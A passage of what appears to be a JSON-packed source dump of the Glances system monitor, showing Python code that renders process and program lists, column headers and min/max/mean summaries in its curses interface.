'nice' in p:\n            nice = p['nice']\n            if nice is None:\n                nice = '?'\n            msg = self.layout_stat['nice'].format(nice)\n            ret = self.curse_add_line(msg, decoration=self.get_nice_alert(nice))\n        else:\n            msg = self.layout_header['nice'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_status(self, p, selected, args):\n        \"\"\"Return process status curses\"\"\"\n        if 'status' in p:\n            status = p['status']\n            msg = self.layout_stat['status'].format(status)\n            ret = self.curse_add_line(msg, decoration=self.get_status_alert(status))\n            # if status == 'R':\n            #     ret = self.curse_add_line(msg, decoration='STATUS')\n            # else:\n            #     ret = self.curse_add_line(msg)\n        else:\n            msg = self.layout_header['status'].format('?')\n            ret = self.curse_add_line(msg)\n        return ret\n\n    def _get_process_curses_io_read_write(self, p, selected, args, rorw='ior'):\n        \"\"\"Return process IO Read or Write curses\"\"\"\n        if 'io_counters' in p and p['io_counters'][4] == 1 and p['time_since_update'] != 0:\n            # Display rate if stats is available and io_tag ([4]) == 1\n            # IO\n            io = int(\n                (p['io_counters'][0 if rorw == 'ior' else 1] - p['io_counters'][2 if rorw == 'ior' else 3])\n                / p['time_since_update']\n            )\n            if io == 0:\n                msg = self.layout_stat[rorw].format(\"0\")\n            else:\n                msg = self.layout_stat[rorw].format(self.auto_unit(io, low_precision=True))\n            ret = self.curse_add_line(msg, optional=True, additional=True)\n        else:\n            msg = self.layout_header[rorw].format(\"?\")\n            ret = self.curse_add_line(msg, optional=True, additional=True)\n        return ret\n\n    def _get_process_curses_io_counters(self, p, selected, args):\n        return [\n            self._get_process_curses_io_read_write(p, selected, args, rorw='ior'),\n            self._get_process_curses_io_read_write(p, selected, args, rorw='iow'),\n        ]\n\n    def _get_process_curses_cpu_num(self, p, selected, args):\n        \"\"\"Return process CPU core number curses\"\"\"\n        if 'cpu_num' in p and p['cpu_num'] is not None and p['cpu_num'] >= 0:\n            # Valid CPU core number (0-based)\n            cpu_num = p['cpu_num']\n            msg = self.layout_stat['processor'].format(cpu_num)\n            ret = self.curse_add_line(msg, optional=True)\n        else:\n            # Information unavailable\n            msg = self.layout_header['processor'].format('-')\n            ret = self.curse_add_line(msg, optional=True)\n        return ret\n\n    def _get_process_curses_cmdline(self, p, selected, args):\n        \"\"\"Return process cmdline curses\"\"\"\n        ret = []\n        # If no command line for the process is available, fallback to the bare process name instead\n        bare_process_name = p['name']\n        cmdline = p.get('cmdline', '?')\n        try:\n            process_decoration = 'PROCESS_SELECTED' if (selected and not args.disable_cursor) else 'PROCESS'\n            if cmdline:\n                path, cmd, arguments = split_cmdline(bare_process_name, cmdline)\n                # Manage end of line in arguments (see #1692)\n                arguments = replace_special_chars(arguments)\n                if os.path.isdir(path) and not args.process_short_name:\n                    msg = self.layout_stat['command'].format(path) + os.sep\n                    ret.append(self.curse_add_line(msg, splittable=True))\n                    ret.append(self.curse_add_line(cmd, decoration=process_decoration, splittable=True))\n                else:\n                    msg = self.layout_stat['command'].format(cmd)\n                    ret.append(self.curse_add_line(msg, decoration=process_decoration, splittable=True))\n                if arguments:\n                    msg = ' ' if args and args.cursor_process_name_position == 0 else unicode_message('THREE_DOTS')\n                    msg += self.layout_stat['command'].format(arguments[args.cursor_process_name_position :])\n                    ret.append(self.curse_add_line(msg, splittable=True))\n            else:\n                msg = self.layout_stat['name'].format(bare_process_name)\n                ret.append(self.curse_add_line(msg, decoration=process_decoration, splittable=True))\n        except (TypeError, UnicodeEncodeError) as e:\n            # Avoid crash after running fine for several hours #1335\n            logger.debug(f\"Can not decode command line '{cmdline}' ({e})\")\n            ret.append(self.curse_add_line('', splittable=True))\n        return ret\n\n    def get_process_curses_data(self, p, selected, args):\n        \"\"\"Get curses data to display for a process.\n\n        - p is the process to display\n        - selected is a tag=True if p is the selected process\n        \"\"\"\n        ret = [self.curse_new_line()]\n\n        # When a process is selected:\n        # * display a special character at the beginning of the line\n        # * underline the command name\n        ret.append(\n            self.curse_add_line(\n                unicode_message('PROCESS_SELECTOR') if (selected and not args.disable_cursor) else ' ', 'SELECTED'\n            )\n        )\n\n        for stat in [i for i in self.enable_stats if i not in glances_processes.disable_stats]:\n            msg = getattr(self, f'_get_process_curses_{stat}')(p, selected, args)\n            if isinstance(msg, list):\n                # ex: _get_process_curses_command return a list, so extend\n                ret.extend(msg)\n            else:\n                # ex: _get_process_curses_cpu return a dict, so append\n                ret.append(msg)\n\n        return ret\n\n    def is_selected_process(self, args):\n        return (\n            args.is_standalone\n            and self.args.enable_process_extended\n            and args.cursor_position is not None\n            and glances_processes.extended_process is not None\n        )\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or args.disable_process:\n            return ret\n\n        # Sort the processes list\n        processes_list_sorted = sort_stats(\n            self.stats, glances_processes.sort_key, reverse=glances_processes.sort_reverse\n        )\n\n        # Display extended stats for selected process\n        #############################################\n\n        if self.is_selected_process(args):\n            self._msg_curse_extended_process(ret, glances_processes.extended_process)\n\n        # Display others processes list\n        ###############################\n\n        # Header\n        self._msg_curse_header(ret, glances_processes.sort_key, args)\n\n        # Process list\n        # Loop over processes (sorted by the sort key previously compute)\n        # This is a Glances bottleneck (see flame graph),\n        # TODO: get_process_curses_data should be optimized\n        for position, process in enumerate(processes_list_sorted):\n            ret.extend(self.get_process_curses_data(process, position == args.cursor_position, args))\n\n        # A filter is set Display the stats summaries\n        if glances_processes.process_filter is not None:\n            if args and args.reset_minmax_tag:\n                args.reset_minmax_tag = not args.reset_minmax_tag\n                self._mmm_reset()\n            self._msg_curse_sum(ret, args=args)\n            self._msg_curse_sum(ret, mmm='min', args=args)\n            self._msg_curse_sum(ret, mmm='max', args=args)\n\n        # Return the message with decoration\n        return ret\n\n    def _msg_curse_extended_process(self, ret, p):\n        \"\"\"Get extended curses data for the selected process (see issue #2225)\n\n        The result depends of the process type (process or thread).\n\n        Input p is a dict with the following keys:\n        {'status': 'S',\n         'memory_info': {'rss': 466890752, 'vms': 3365347328, 'shared': 68153344,\n                         'text': 659456, 'lib': 0, 'data': 774647808, 'dirty': 0],\n         'pid': 4980,\n         'io_counters': [165385216, 0, 165385216, 0, 1],\n         'num_threads': 20,\n         'nice': 0,\n         'memory_percent': 5.958135664449709,\n         'cpu_percent': 0.0,\n         'gids': {'real': 1000, 'effective': 1000, 'saved': 1000},\n         'cpu_times': {'user': 696.38, 'system': 119.98, 'children_user': 0.0,\n                       'children_system': 0.0, 'iowait': 0.0),\n         'name': 'WebExtensions',\n         'key': 'pid',\n         'time_since_update': 2.1997854709625244,\n         'cmdline': ['/snap/firefox/2154/usr/lib/firefox/firefox', '-contentproc', '-childID', '...'],\n         'username': 'nicolargo',\n         'cpu_min': 0.0,\n         'cpu_max': 7.0,\n         'cpu_mean': 3.2}\n        \"\"\"\n        self._msg_curse_extended_process_thread(ret, p)\n\n    def add_title_line(self, ret, prog):\n        ret.append(self.curse_add_line(\"Pinned thread \", \"TITLE\"))\n        ret.append(self.curse_add_line(prog.get('name', ''), \"UNDERLINE\"))\n        ret.append(self.curse_add_line(\" ('e' to unpin)\"))\n\n        return ret\n\n    def add_cpu_line(self, ret, prog):\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line(' CPU Min/Max/Mean: '))\n        msg = '{: >7.1f}{: >7.1f}{: >7.1f}%'.format(\n            prog.get('cpu_min', 0), prog.get('cpu_max', 0), prog.get('cpu_mean', 0)\n        )\n        ret.append(self.curse_add_line(msg, decoration='INFO'))\n\n        return ret\n\n    def maybe_add_cpu_affinity_line(self, ret, prog):\n        if 'cpu_affinity' in prog and prog['cpu_affinity'] is not None:\n            ret.append(self.curse_add_line(' Affinity: '))\n            ret.append(self.curse_add_line(str(len(prog.get('cpu_affinity', []))), decoration='INFO'))\n            ret.append(self.curse_add_line(' cores', decoration='INFO'))\n\n        return ret\n\n    def add_ionice_line(self, headers, default):\n        def add_ionice_using_matches(msg, v):\n            return msg + headers.get(v, default(v))\n\n        return add_ionice_using_matches\n\n    def get_headers(self, k):\n        # Linux: The scheduling class. 0 for none, 1 for real time, 2 for best-effort, 3 for idle.\n        default = {0: 'No specific I/O priority', 1: k + 'Real Time', 2: k + 'Best Effort', 3: k + 'IDLE'}\n\n        # Windows: On Windows only ioclass is used and it can be set to 2 (normal), 1 (low) or 0 (very low).\n        windows = {0: k + 'Very Low', 1: k + 'Low', 2: 'No specific I/O priority'}\n\n        return windows if WINDOWS else default\n\n    def maybe_add_ionice_line(self, ret, prog):\n        if 'ionice' in prog and prog['ionice'] is not None and hasattr(prog['ionice'], 'ioclass'):\n            msg = ' IO nice: '\n            k = 'Class is '\n            v = prog['ionice'].ioclass\n\n            def default(v):\n                return k + str(v)\n\n            headers = self.get_headers(k)\n            msg = self.add_ionice_line(headers, default)(msg, v)\n            #  value is a number which goes from 0 to 7.\n            # The higher the value, the lower the I/O priority of the process.\n            if hasattr(prog['ionice'], 'value') and prog['ionice'].value != 0:\n                msg += ' (value {}/7)'.format(str(prog['ionice'].value))\n            ret.append(self.curse_add_line(msg, splittable=True))\n\n        return ret\n\n    def maybe_add_memory_swap_line(self, ret, prog):\n        if 'memory_swap' in prog and prog['memory_swap'] is not None:\n            ret.append(\n                self.curse_add_line(\n                    self.auto_unit(prog.get('memory_swap', 0), low_precision=False), decoration='INFO', splittable=True\n                )\n            )\n            ret.append(self.curse_add_line(' swap ', splittable=True))\n\n        return ret\n\n    def add_memory_info_lines(self, ret, prog):\n        for key, val in prog['memory_info'].items():\n            ret.append(\n                self.curse_add_line(\n                    self.auto_unit(val, low_precision=False),\n                    decoration='INFO',\n                    splittable=True,\n                )\n            )\n            ret.append(self.curse_add_line(' ' + key + ' ', splittable=True))\n\n        return ret\n\n    def add_memory_line(self, ret, prog):\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line(' MEM Min/Max/Mean: '))\n        msg = '{: >7.1f}{: >7.1f}{: >7.1f}%'.format(\n            prog.get('memory_min', 0), prog.get('memory_max', 0), prog.get('memory_mean', 0)\n        )\n        ret.append(self.curse_add_line(msg, decoration='INFO'))\n        if 'memory_info' in prog and prog['memory_info'] is not None:\n            ret.append(self.curse_add_line(' Memory info: '))\n            steps = [self.add_memory_info_lines, self.maybe_add_memory_swap_line]\n            ret = functools.reduce(lambda ret, step: step(ret, prog), steps, ret)\n\n        return ret\n\n    def add_io_and_network_lines(self, ret, prog):\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line(' Open: '))\n        for stat_prefix in ['num_threads', 'num_fds', 'num_handles', 'tcp', 'udp']:\n            if stat_prefix in prog and prog[stat_prefix] is not None:\n                ret.append(self.curse_add_line(str(prog.get(stat_prefix, 0)), decoration='INFO'))\n                ret.append(self.curse_add_line(' {} '.format(stat_prefix.replace('num_', ''))))\n        return ret\n\n    def _msg_curse_extended_process_thread(self, ret, prog):\n        # `append_newlines` has dummy arguments for piping thru `functools.reduce`\n        def append_newlines(ret, prog):\n            (ret.append(self.curse_new_line()),)\n            ret.append(self.curse_new_line())\n\n            return ret\n\n        steps = [\n            self.add_title_line,\n            self.add_cpu_line,\n            self.maybe_add_cpu_affinity_line,\n            self.maybe_add_ionice_line,\n            self.add_memory_line,\n            self.add_io_and_network_lines,\n            append_newlines,\n        ]\n\n        functools.reduce(lambda ret, step: step(ret, prog), steps, ret)\n\n    def _msg_curse_header_cpu(self, ret, process_sort_key, display_stats, sort_style='SORT', args=None):\n        \"\"\"Build the header and add it to the ret dict.\"\"\"\n        if 'cpu_percent' in display_stats:\n            if args and args.disable_irix and 0 < self.nb_log_core < 10:\n                msg = self.layout_header['cpu'].format('CPU%/' + str(self.nb_log_core))\n            elif args and args.disable_irix and self.nb_log_core != 0:\n                msg = self.layout_header['cpu'].format('CPUi')\n            else:\n                msg = self.layout_header['cpu'].format('CPU%')\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'cpu_percent' else 'DEFAULT'))\n\n    def msg_curse_header_common(\n        self,\n        ret,\n        process_sort_key,\n        field_stat,\n        display_stats,\n        layout_field,\n        layout_value,\n        layout_width=None,\n        sort_style='SORT',\n    ):\n        if field_stat in display_stats:\n            msg = self.layout_header[layout_field].format(layout_value, width=layout_width)\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == field_stat else 'DEFAULT'))\n\n    def _msg_curse_header(self, ret, process_sort_key, args=None):\n        \"\"\"Build the header and add it to the ret dict.\"\"\"\n        sort_style = 'SORT'\n\n        if glances_processes.process_focus and glances_processes.process_focus != []:\n            msg = 'Focus on following processes: ' + ', '.join([i.filter for i in glances_processes.process_focus])\n            ret.append(self.curse_add_line(msg))\n            ret.append(self.curse_new_line())\n\n        display_stats = [i for i in self.enable_stats if i not in glances_processes.disable_stats]\n        self._msg_curse_header_cpu(ret, process_sort_key, display_stats, args=args, sort_style=sort_style)\n        self.msg_curse_header_common(\n            ret, process_sort_key, 'memory_percent', display_stats, 'mem', 'MEM%', sort_style=sort_style\n        )\n        if 'memory_info' in display_stats:\n            if not self.get_conf_value('disable_virtual_memory', convert_bool=True, default=False):\n                msg = self.layout_header['virt'].format('VIRT')\n                ret.append(self.curse_add_line(msg, optional=True))\n            msg = self.layout_header['res'].format('RES')\n            ret.append(self.curse_add_line(msg, optional=True))\n        self.msg_curse_header_common(\n            ret,\n            process_sort_key,\n            'pid',\n            display_stats,\n            'pid',\n            'PID',\n            layout_width=self._max_pid_size(),\n            sort_style=sort_style,\n        )\n        self.msg_curse_header_common(\n            ret, process_sort_key, 'username', display_stats, 'user', 'USER', sort_style=sort_style\n        )\n        if 'cpu_times' in display_stats:\n            msg = self.layout_header['time'].format('TIME+')\n            ret.append(\n                self.curse_add_line(msg, sort_style if process_sort_key == 'cpu_times' else 'DEFAULT', optional=True)\n            )\n        self.msg_curse_header_common(\n            ret, process_sort_key, 'num_threads', display_stats, 'thread', 'THR', sort_style=sort_style\n        )\n        self.msg_curse_header_common(ret, process_sort_key, 'nice', display_stats, 'nice', 'NI', sort_style=sort_style)\n        self.msg_curse_header_common(\n            ret, process_sort_key, 'status', display_stats, 'status', 'S', sort_style=sort_style\n        )\n        if 'io_counters' in display_stats:\n            msg = self.layout_header['ior'].format('R/s')\n            ret.append(\n                self.curse_add_line(\n                    msg, sort_style if process_sort_key == 'io_counters' else 'DEFAULT', optional=True, additional=True\n                )\n            )\n            msg = self.layout_header['iow'].format('W/s')\n            ret.append(\n                self.curse_add_line(\n                    msg, sort_style if process_sort_key == 'io_counters' else 'DEFAULT', optional=True, additional=True\n                )\n            )\n        if 'cpu_num' in display_stats:\n            msg = self.layout_header['processor'].format('CPU')\n            ret.append(self.curse_add_line(msg, optional=True))\n        if args and args.is_standalone and not args.disable_cursor:\n            shortkey = \"('e' to pin | 'k' to kill)\"\n        else:\n            shortkey = \"\"\n        if 'cmdline' in display_stats:\n            msg = self.layout_header['command'].format(\"Command\", shortkey)\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'name' else 'DEFAULT'))\n\n    def _msg_curse_sum(self, ret, sep_char='_', mmm=None, args=None):\n        \"\"\"\n        Build the sum message (only when filter is on) and add it to the ret dict.\n\n        :param ret: list of string where the message is added\n        :param sep_char: define the line separation char\n        :param mmm: display min, max, mean or current (if mmm=None)\n        :param args: Glances args\n        \"\"\"\n        ret.append(self.curse_new_line())\n        if mmm is None:\n            ret.append(self.curse_add_line(sep_char * 69))\n            ret.append(self.curse_new_line())\n        # CPU percent sum\n        msg = ' '\n        msg += self.layout_stat['cpu'].format(self._sum_stats('cpu_percent', mmm=mmm))\n        ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm)))\n        # MEM percent sum\n        msg = self.layout_stat['mem'].format(self._sum_stats('memory_percent', mmm=mmm))\n        ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm)))\n        # VIRT and RES memory sum\n        if (\n            'memory_info' in self.stats[0]\n            and self.stats[0]['memory_info'] is not None\n            and self.stats[0]['memory_info'] != ''\n        ):\n            # VMS\n            msg = self.layout_stat['virt'].format(\n                self.auto_unit(self._sum_stats('memory_info', sub_key='vms', mmm=mmm), low_precision=False)\n            )\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True))\n            # RSS\n            msg = self.layout_stat['res'].format(\n                self.auto_unit(self._sum_stats('memory_info', sub_key='rss', mmm=mmm), low_precision=False)\n            )\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True))\n        else:\n            msg = self.layout_header['virt'].format('')\n            ret.append(self.curse_add_line(msg))\n            msg = self.layout_header['res'].format('')\n            ret.append(self.curse_add_line(msg))\n        # PID\n        msg = self.layout_header['pid'].format('', width=self._max_pid_size())\n        ret.append(self.curse_add_line(msg))\n        # USER\n        msg = self.layout_header['user'].format('')\n        ret.append(self.curse_add_line(msg))\n        # TIME+\n        msg = self.layout_header['time'].format('')\n        ret.append(self.curse_add_line(msg, optional=True))\n        # THREAD\n        msg = self.layout_header['thread'].format('')\n        ret.append(self.curse_add_line(msg))\n        # NICE\n        msg = self.layout_header['nice'].format('')\n        ret.append(self.curse_add_line(msg))\n        # STATUS\n        msg = self.layout_header['status'].format('')\n        ret.append(self.curse_add_line(msg))\n        # IO read/write\n        if 'io_counters' in self.stats[0] and mmm is None:\n            # IO read\n            io_rs = int(\n                (self._sum_stats('io_counters', 0) - self._sum_stats('io_counters', sub_key=2, mmm=mmm))\n                / self.stats[0]['time_since_update']\n            )\n            if io_rs == 0:\n                msg = self.layout_stat['ior'].format('0')\n            else:\n                msg = self.layout_stat['ior'].format(self.auto_unit(io_rs, low_precision=True))\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True, additional=True))\n            # IO write\n            io_ws = int(\n                (self._sum_stats('io_counters', 1) - self._sum_stats('io_counters', sub_key=3, mmm=mmm))\n                / self.stats[0]['time_since_update']\n            )\n            if io_ws == 0:\n                msg = self.layout_stat['iow'].format('0')\n            else:\n                msg = self.layout_stat['iow'].format(self.auto_unit(io_ws, low_precision=True))\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True, additional=True))\n        else:\n            msg = self.layout_header['ior'].format('')\n            ret.append(self.curse_add_line(msg, optional=True, additional=True))\n            msg = self.layout_header['iow'].format('')\n            ret.append(self.curse_add_line(msg, optional=True, additional=True))\n        if mmm is None:\n            msg = '< {}'.format('current')\n            ret.append(self.curse_add_line(msg, optional=True))\n        else:\n            msg = f'< {mmm}'\n            ret.append(self.curse_add_line(msg, optional=True))\n            msg = '(\\'M\\' to reset)'\n            ret.append(self.curse_add_line(msg, optional=True))\n\n    def _mmm_deco(self, mmm):\n        \"\"\"Return the decoration string for the current mmm status.\"\"\"\n        if mmm is not None:\n            return 'DEFAULT'\n        return 'FILTER'\n\n    def _mmm_reset(self):\n        \"\"\"Reset the MMM stats.\"\"\"\n        self.mmm_min = {}\n        self.mmm_max = {}\n\n    def _sum_stats(self, key, sub_key=None, mmm=None):\n        \"\"\"Return the sum of the stats value for the given key.\n\n        :param sub_key: If sub_key is set, get the p[key][sub_key]\n        :param mmm: display min, max, mean or current (if mmm=None)\n        \"\"\"\n        # Compute stats summary\n        ret = 0\n        for p in self.stats:\n            if key not in p:\n                # Correct issue #1188\n                continue\n            if p[key] is None:\n                # Correct https://github.com/nicolargo/glances/issues/1105#issuecomment-363553788\n                continue\n            if sub_key is None:\n                ret += p[key]\n            elif sub_key in p[key]:\n                ret += p[key][sub_key]\n\n        # Manage Min/Max/Mean\n        mmm_key = self._mmm_key(key, sub_key)\n        if mmm == 'min':\n            try:\n                if self.mmm_min[mmm_key] > ret:\n                    self.mmm_min[mmm_key] = ret\n            except AttributeError:\n                self.mmm_min = {}\n                return 0\n            except KeyError:\n                self.mmm_min[mmm_key] = ret\n            ret = self.mmm_min[mmm_key]\n        elif mmm == 'max':\n            try:\n                if self.mmm_max[mmm_key] < ret:\n                    self.mmm_max[mmm_key] = ret\n            except AttributeError:\n                self.mmm_max = {}\n                return 0\n            except KeyError:\n                self.mmm_max[mmm_key] = ret\n            ret = self.mmm_max[mmm_key]\n\n        return ret\n\n    def _mmm_key(self, key, sub_key):\n        ret = key\n        if sub_key is not None:\n            ret += str(sub_key)\n        return ret\n\n    def _max_pid_size(self):\n        \"\"\"Return the maximum PID size in number of char.\"\"\"\n        if self.pid_max is not None:\n            return len(str(self.pid_max))\n\n        # By default return 5 (corresponding to 99999 PID number)\n        return 5\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/programlist/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Program list plugin.\"\"\"\n\nimport copy\n\nfrom glances.plugins.processlist import ProcesslistPlugin\nfrom glances.processes import glances_processes\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'name': {\n        'description': 'Process name',\n        'unit': 'string',\n    },\n    'cmdline': {\n        'description': 'Command line with arguments',\n        'unit': 'list',\n    },\n    'username': {\n        'description': 'Process owner',\n        'unit': 'string',\n    },\n    'nprocs': {\n        'description': 'Number of children processes',\n        'unit': 'number',\n    },\n    'num_threads': {\n        'description': 'Number of threads',\n        'unit': 'number',\n    },\n    'cpu_percent': {\n        'description': 'Process CPU consumption',\n        'unit': 'percent',\n    },\n    'memory_percent': {\n        'description': 'Process memory consumption',\n        'unit': 'percent',\n    },\n    'memory_info': {\n        'description': 'Process memory information (dict with rss, vms, shared, text, lib, data, dirty keys)',\n        'unit': 'byte',\n    },\n    'status': {\n        'description': 'Process status',\n        'unit': 'string',\n    },\n    'nice': {\n        'description': 'Process nice value',\n        'unit': 'number',\n    },\n    'cpu_times': {\n        'description': 'Process CPU times (dict with user, system, iowait keys)',\n        'unit': 'second',\n    },\n    'gids': {\n        'description': 'Process group IDs (dict with real, effective, saved keys)',\n        'unit': 'number',\n    },\n    'io_counters': {\n        'description': 'Process IO counters (list with read_count, write_count, read_bytes, write_bytes, io_tag keys)',\n        'unit': 'byte',\n    },\n}\n\n\nclass ProgramlistPlugin(ProcesslistPlugin):\n    \"\"\"Glances' processes plugin.\n\n    stats is a list\n    \"\"\"\n\n    # Default list of processes stats to be grabbed / displayed\n    # Can be altered by glances_processes.disable_stats\n    enable_stats = [\n        'cpu_percent',\n        'memory_percent',\n        'memory_info',  # vms and rss\n        'nprocs',\n        'username',\n        'cpu_times',\n        'num_threads',\n        'nice',\n        'status',\n        'io_counters',  # ior and iow\n        'cmdline',\n    ]\n\n    # Define the header layout of the processes list columns\n    layout_header = {\n        'cpu': '{:<6} ',\n        'mem': '{:<5} ',\n        'virt': '{:<5} ',\n        'res': '{:<5} ',\n        'nprocs': '{:>7} ',\n        'user': '{:<10} ',\n        'time': '{:>8} ',\n        'thread': '{:<3} ',\n        'nice': '{:>3} ',\n        'status': '{:>1} ',\n        'ior': '{:>4} ',\n        'iow': '{:<4} ',\n        'command': '{} {}',\n    }\n\n    # Define the stat layout of the processes list columns\n    layout_stat = {\n        'cpu': '{:<6.1f}',\n        'cpu_no_digit': '{:<6.0f}',\n        'mem': '{:<5.1f} ',\n        'virt': '{:<5} ',\n        'res': '{:<5} ',\n        'nprocs': '{:>7} ',\n        'user': '{:<10} ',\n        'time': '{:>8} ',\n        'thread': '{:<3} ',\n        'nice': '{:>3} ',\n        'status': '{:>1} ',\n        'ior': '{:>4} ',\n        'iow': '{:<4} ',\n        'command': '{}',\n        'name': '[{}]',\n    }\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n    def load(self, args, config):\n        \"\"\"Load already done in processlist\"\"\"\n        pass\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def update(self):\n        \"\"\"Update processes stats using the input method.\"\"\"\n        # Update the stats\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            # Note: Update is done in the processcount plugin\n            # Just return the result\n            stats = glances_processes.get_list(as_programs=True)\n        else:\n            stats = self.get_init_value()\n\n        # Get the max values (dict)\n        # Use Deep copy to avoid change between update and display\n        self.max_values = copy.deepcopy(glances_processes.max_values())\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_api(self):\n        \"\"\"Return the sorted processes list for the API.\"\"\"\n        return glances_processes.get_list(sorted=True, as_programs=True)\n\n    def _get_process_curses_nprocs(self, p, selected, args):\n        \"\"\"Return process NPROCS curses\"\"\"\n        # Display the number of children processes\n        msg = self.layout_stat['nprocs'].format(p['nprocs'])\n        return self.curse_add_line(msg)\n\n    def _msg_curse_header(self, ret, process_sort_key, args=None):\n        \"\"\"Build the header and add it to the ret dict.\"\"\"\n        sort_style = 'SORT'\n\n        display_stats = [i for i in self.enable_stats if i not in glances_processes.disable_stats]\n\n        if 'cpu_percent' in display_stats:\n            if args.disable_irix and 0 < self.nb_log_core < 10:\n                msg = self.layout_header['cpu'].format('CPU%/' + str(self.nb_log_core))\n            elif args.disable_irix and self.nb_log_core != 0:\n                msg = self.layout_header['cpu'].format('CPU%/C')\n            else:\n                msg = self.layout_header['cpu'].format('CPU%')\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'cpu_percent' else 'DEFAULT'))\n\n        if 'memory_percent' in display_stats:\n            msg = self.layout_header['mem'].format('MEM%')\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'memory_percent' else 'DEFAULT'))\n        if 'memory_info' in display_stats:\n            msg = self.layout_header['virt'].format('VIRT')\n            ret.append(self.curse_add_line(msg, optional=True))\n            msg = self.layout_header['res'].format('RES')\n            ret.append(self.curse_add_line(msg, optional=True))\n        if 'nprocs' in display_stats:\n            msg = self.layout_header['nprocs'].format('NPROCS')\n            ret.append(self.curse_add_line(msg))\n        if 'username' in display_stats:\n            msg = self.layout_header['user'].format('USER')\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'username' else 'DEFAULT'))\n        if 'cpu_times' in display_stats:\n            msg = self.layout_header['time'].format('TIME+')\n            ret.append(\n                self.curse_add_line(msg, sort_style if process_sort_key == 'cpu_times' else 'DEFAULT', optional=True)\n            )\n        if 'num_threads' in display_stats:\n            msg = self.layout_header['thread'].format('THR')\n            ret.append(self.curse_add_line(msg))\n        if 'nice' in display_stats:\n            msg = self.layout_header['nice'].format('NI')\n            ret.append(self.curse_add_line(msg))\n        if 'status' in display_stats:\n            msg = self.layout_header['status'].format('S')\n            ret.append(self.curse_add_line(msg))\n        if 'io_counters' in display_stats:\n            msg = self.layout_header['ior'].format('R/s')\n            ret.append(\n                self.curse_add_line(\n                    msg, sort_style if process_sort_key == 'io_counters' else 'DEFAULT', optional=True, additional=True\n                )\n            )\n            msg = self.layout_header['iow'].format('W/s')\n            ret.append(\n                self.curse_add_line(\n                    msg, sort_style if process_sort_key == 'io_counters' else 'DEFAULT', optional=True, additional=True\n                )\n            )\n        if args.is_standalone and not args.disable_cursor:\n            shortkey = \"('k' to kill)\"\n        else:\n            shortkey = \"\"\n        if 'cmdline' in display_stats:\n            msg = self.layout_header['command'].format(\"Programs\", shortkey)\n            ret.append(self.curse_add_line(msg, sort_style if process_sort_key == 'name' else 'DEFAULT'))\n\n    def _msg_curse_sum(self, ret, sep_char='_', mmm=None, args=None):\n        \"\"\"\n        Build the sum message (only when filter is on) and add it to the ret dict.\n\n        :param ret: list of string where the message is added\n        :param sep_char: define the line separation char\n        :param mmm: display min, max, mean or current (if mmm=None)\n        :param args: Glances args\n        \"\"\"\n        ret.append(self.curse_new_line())\n        if mmm is None:\n            ret.append(self.curse_add_line(sep_char * 69))\n            ret.append(self.curse_new_line())\n        # CPU percent sum\n        msg = ' '\n        msg += self.layout_stat['cpu'].format(self._sum_stats('cpu_percent', mmm=mmm))\n        ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm)))\n        # MEM percent sum\n        msg = self.layout_stat['mem'].format(self._sum_stats('memory_percent', mmm=mmm))\n        ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm)))\n        # VIRT and RES memory sum\n        if (\n            'memory_info' in self.stats[0]\n            and self.stats[0]['memory_info'] is not None\n            and self.stats[0]['memory_info'] != ''\n        ):\n            # VMS\n            msg = self.layout_stat['virt'].format(\n                self.auto_unit(self._sum_stats('memory_info', sub_key='vms', mmm=mmm), low_precision=False)\n            )\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True))\n            # RSS\n            msg = self.layout_stat['res'].format(\n                self.auto_unit(self._sum_stats('memory_info', sub_key='rss', mmm=mmm), low_precision=False)\n            )\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True))\n        else:\n            msg = self.layout_header['virt'].format('')\n            ret.append(self.curse_add_line(msg))\n            msg = self.layout_header['res'].format('')\n            ret.append(self.curse_add_line(msg))\n        # PID\n        msg = self.layout_header['nprocs'].format('')\n        ret.append(self.curse_add_line(msg))\n        # USER\n        msg = self.layout_header['user'].format('')\n        ret.append(self.curse_add_line(msg))\n        # TIME+\n        msg = self.layout_header['time'].format('')\n        ret.append(self.curse_add_line(msg, optional=True))\n        # THREAD\n        msg = self.layout_header['thread'].format('')\n        ret.append(self.curse_add_line(msg))\n        # NICE\n        msg = self.layout_header['nice'].format('')\n        ret.append(self.curse_add_line(msg))\n        # STATUS\n        msg = self.layout_header['status'].format('')\n        ret.append(self.curse_add_line(msg))\n        # IO read/write\n        if 